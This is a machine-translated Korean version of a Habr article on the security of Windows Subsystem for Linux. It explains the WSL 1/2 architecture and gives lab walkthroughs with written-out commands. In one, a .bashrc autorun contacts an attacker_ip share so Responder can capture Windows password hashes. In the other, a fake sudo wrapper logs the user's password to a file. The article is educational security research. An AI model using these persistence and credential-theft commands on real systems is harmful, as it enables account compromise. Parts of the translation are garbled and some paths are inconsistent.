WSL 실험. 1 부

안녕, 하브르! OTUS는 XNUMX월에 새로운 코스 스트림을 출시합니다. "리눅스 보안". 코스 시작을 예상하여 우리 선생님 중 한 분인 Alexander Kolesnikov가 쓴 기사를 여러분과 공유하고 있습니다.

2016년에 Microsoft는 IT 커뮤니티에 새로운 WSL 기술을 도입했습니다(Windows S하위 시스템 Linux)는 앞으로 일반 OS 사용자와 고급 OS 사용자인 Windows 및 Linux 사이에서 인기를 위해 싸우고 있던 이전에 화해할 수 없었던 경쟁사를 통합할 수 있게 되었습니다. 이 기술을 통해 멀티부트(Multi-boot) 등을 이용해 리눅스를 실행할 필요 없이 윈도우 환경에서 리눅스 OS 도구를 사용할 수 있게 됐다. Habr에서는 WSL 사용의 이점을 설명하는 수많은 기사를 찾을 수 있습니다. 그러나 안타깝게도 이 기사를 작성할 당시에는 이 리소스에서 이러한 운영 체제 공생의 보안에 대한 연구를 찾을 수 없었습니다. 이번 포스팅은 이를 바로잡기 위한 시도가 될 것입니다. 이 기사에서는 WSL 1 및 2 아키텍처의 기능에 대해 설명하고 이러한 기술을 사용하는 시스템에 대한 공격의 여러 예를 검토합니다. 기사는 2부분으로 나누어져 있습니다. 첫 번째는 Linux와 Windows의 주요 이론적 공격 방법을 제공합니다. 두 번째 기사에는 테스트 환경을 설정하고 공격을 재현하는 내용이 포함됩니다.

WSL 1: 아키텍처 기능

WSL 보안 문제를 가장 정확하게 조사하려면 하위 시스템 구현과 관련된 주요 차이점을 파악해야 합니다. WSL이 해결하는 주요 사용자 작업 중 하나는 Windows OS를 실행하는 호스트에서 Linux 터미널을 통해 작업할 수 있는 기능입니다. 또한 제공되는 호환성은 매우 기본적이어서 Linux 실행 파일(ELF)을 Windows 시스템에서 직접 실행할 수 있습니다. 이러한 목표를 달성하기 위해 Windows 10에서는 특정 시스템 호출 집합을 사용하여 Linux 응용 프로그램을 실행할 수 있는 특수 하위 시스템이 만들어졌습니다. 따라서 Windows에서 Linux syscall 집합을 매핑하려는 시도가 이루어졌습니다. 이는 새로운 드라이버와 새로운 프로세스 형식을 추가하여 물리적으로 구현되었습니다. 시각적으로 아키텍처는 다음과 같습니다.

실제로 Linux 운영 체제와의 상호 작용은 여러 커널 모듈과 특수 유형의 프로세스인 pico를 통해 구성되었습니다. 위 다이어그램에서 호스트의 Linux 인스턴스에서 실행되는 프로세스는 기본이어야 하며 일반 Windows 애플리케이션과 동일한 리소스를 사용해야 함을 알 수 있습니다. 그러나 이것을 달성하는 방법은 무엇입니까? 프로젝트에서 가동교 다른 OS의 응용 프로그램을 실행하는 데 필요한 운영 체제 구성 요소(버전에 따라 다름)를 모두 제공하는 Windows용 프로세스 개념이 개발되었습니다.

제안된 추상화는 다른 OS의 프로세스가 시작될 것으로 예상되는 운영 체제(특히 Windows)에 초점을 맞추지 않고 일반적인 접근 방식을 제안하는 것을 가능하게 했습니다.

따라서 pico 프로세스 내부의 모든 애플리케이션은 Windows 커널에 관계없이 실행될 수 있습니다.

1. 시스템 호출의 호환성 및 변환 문제는 특수 공급자가 해결해야 합니다.
2. 접근 통제는 보안 모니터를 통해 이루어져야 합니다. 모니터는 커널에 있으므로 Windows에서는 해당 프로세스에 대한 공급자 역할을 할 수 있는 새 드라이버 형태로 업그레이드가 필요했습니다. 프로토타입 피코 프로세스는 아래에 개략적으로 제시되어 있습니다.

Linux 파일 시스템은 대소문자를 구분하는 파일 및 디렉터리 이름을 사용하므로 WSL과 함께 작동하기 위해 VolFS 및 DriveFS라는 두 가지 유형의 파일 시스템이 Windows에 추가되었습니다. VolFS는 Linux 파일 시스템의 구현이고, DriveFS는 Windows 규칙에 따라 작동하지만 대소문자 구분을 선택할 수 있는 파일 시스템입니다.

WSL 2

WSL 1에는 최대 범위의 작업을 해결하는 데 사용할 수 없는 여러 가지 제한 사항이 있었습니다. 예를 들어 32비트 Linux 애플리케이션을 실행할 수 없고 장치 드라이버를 사용할 수 없었습니다. 따라서 2020년에는 WSL 2가 출시되어 하위 시스템 구축에 대한 접근 방식이 변경되었습니다. WSL 2는 WSL 1의 리소스 소비 특성과 일치하는 최적화된 가상 머신입니다. 이제 Windows OS 사용자가 해결한 문제에 따라 필요한 Linux 하위 시스템 버전을 선택할 수 있습니다. 가능한 취약점을 완화하기 위해 WSL 2는 Windows 10의 Hyper-V를 기반으로 구현되었습니다. 이 형식에서 Windows는 Linux 운영 체제 커널을 격리하여 실행할 수 있습니다. WSL 버전 1은 이 분야의 Windows 개발 방향을 보여주기 위한 베타 기능으로 도입되었기 때문에 Hyper-V로의 전환이 불가피했다는 점을 기억할 필요가 있습니다. 최종 아키텍처는 다음과 같습니다.

이 버전에서는 Windows 및 Linux 커널이 자체 리소스를 가지며 교차점은 파일 시스템에만 존재하지만 이 교차점은 완전하지 않습니다. 파일 시스템 간의 상호 작용은 9P 프로토콜을 사용하여 작동하는 클라이언트-서버 래퍼를 통해 수행됩니다.

현재 Microsoft는 WSL 1과 WSL 2 간 전환 기능을 제공합니다. 두 버전 모두 사용할 수 있습니다.

WSL 보안

현재 합법적인 OS 도구를 사용하여 하위 시스템 간의 통신을 공격하는 몇 가지 접근 방식을 설명하는 여러 작업이 있습니다. 우리는 그들의 스크립트를 사용하여 글을 쓰는 시점에서 공격의 관련성을 확인할 것입니다. 일반적인 공격 및 시나리오 목록:

1. 파일 시스템 구현: 액세스 권한, 공유 디렉터리/데이터 교환 메커니즘의 가용성.

접근 규칙 위반 여부를 확인하기 위해 연구가 수행되었습니다. 리눅스 FS->윈도우 FS, 윈도우 FS->리눅스 FS. 연구 결과에 따르면 대상 OS 내에서 특정 파일을 수정하는 기능이 입증되었습니다. 파일 시스템의 일부를 대체하고, 복제본을 만들고, 삭제하려는 시도도 있었습니다.

시나리오 :

• A. Windows 운영 체제로부터의 공격 - Linux OS의 /etc 디렉터리에 있는 파일 수정.
• B. Linux 운영 체제의 공격 - 디렉터리의 파일 수정: C:Windows, C:Program Files, C:Users<User>

2. 네트워크 스택의 구현.

연구는 Windows의 Linux 운영 체제에서 발생한 공격 사례를 사용하여 수행되었습니다. 네트워크 스택의 기능, 즉 다양한 리소스에 대한 인증 메커니즘이 사용되었습니다.

시나리오 :

• Windows 시스템에서 사용 중인 포트에 대한 액세스 열기
• 해당 권한 없이 포트 열기
• Windows 운영 체제에서 elf 파일을 사용하여 리버스 쉘을 실행합니다.

3. WSL 하위 시스템을 사용하여 악성 소프트웨어 프로세스의 시작을 숨깁니다.

이 연구는 WSL 1의 경우 운영 체제의 합법적인 공급자를 사용하여 작동하는 다른 커널에서 보안 하위 시스템이 이벤트를 가로챌 수 없다는 단순한 사실에 기반을 두고 있습니다. WSL 2의 경우 발생하는 이벤트를 볼 수 있는 방법이 없습니다. 경량 가상 머신 내의 별도 커널에 있습니다.

시나리오 :

1) 시스템에 대한 원격 액세스를 위한 애플리케이션을 실행하고 기록된 이벤트를 확인합니다.

WSL 1 실험: 해시 가로채기(Windows)

마침내 우리는 실용적인 부분에 도달했습니다. 먼저 테스트 환경을 설정해야 합니다. 모든 실험은 Windows 10 2004가 설치된 벤치에서 수행되며 Ubuntu 18.04 이미지가 WSL의 운영 체제 이미지로 선택되었습니다. 이미지는 무작위로 선택되었으며 다른 이미지도 동일하게 작동합니다. 스탠드 설정 명령:

먼저 실행해야 합니다. powershell.exe 관리자로.

WSL 1의 경우 다음 명령을 실행해야 합니다.

1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

Ubuntu.appx install —root #Установим образ

Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.

Restart-Computer #Перезагрузим

스탠드를 재부팅한 후 bash 명령을 호출할 수 있습니다. 모든 것이 올바르게 작동하면 Windows 콘솔에 다음과 유사한 출력이 표시됩니다.

Kali Linux 배포판을 공격자의 머신으로 사용할 것이며, 모든 머신은 동일한 로컬 네트워크에 있어야 합니다.

Windows 시스템에서 WSL에 대한 권한 없는 액세스가 있다고 가정해 보겠습니다. 리눅스에서 명령어를 호출해 리눅스 운영체제를 공격해 보자. 공격을 구현하기 위해 간단한 자동 실행 기술을 사용합니다. Linux 환경에서 실행할 스크립트를 추가합니다. 이렇게 하려면 파일을 변경해야 합니다. .bashrc.

WSL이 있는 머신에서는 다음을 실행합니다.

	1. bash
	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
	2. echo  «/home/sam/.attack.sh» >> .bashrc
	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
	4. chmod u+x .attack.sh
	5. exit

Kali Linux 머신에서는 다음을 실행합니다.

1. Responder -I eth0 -rdvw

Windows 머신에서 bash를 실행해 보겠습니다.

Kali Linux 머신에서 결과를 기다리고 있습니다.

따라서 우리는 Linux 시스템에서 명령을 실행하여 WSL 하위 시스템을 통해 Windows 사용자 해시를 얻었습니다.

WSL 1 실험: 사용자 비밀번호 얻기(Linux OS)

한 가지 실험을 더 해보자. 이 확인 과정에서 파일에 추가하겠습니다. .bashrc Linux 운영 체제 사용자 비밀번호를 얻기 위한 여러 명령.

Bash를 시작하고 다음 명령을 입력해 보겠습니다.

1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit

공격을 성공적으로 완료하려면 사용자 Sam이 Linux 터미널에서 sudo를 호출해야 합니다. 그런 다음 Linux OS 사용자 비밀번호가 파일에 포함됩니다. pass.txt:

공격의 구현은 이론적 정보만을 제공했습니다.

기사의 다음 부분에서는 9P 프로토콜의 구현을 설명하고, 이 프로토콜에 대한 스캐너 생성을 고려하고, 이를 사용하여 공격을 수행하는 방법도 설명합니다.

사용 된 문헌 목록

• WSL 2 나쁜 점에 대한 연구
• Linux 설명서용 Windows 하위 시스템

더 읽어보기

• 실시간 Linux 커널 패치 소프트웨어를 선택하는 방법

출처 : habr.com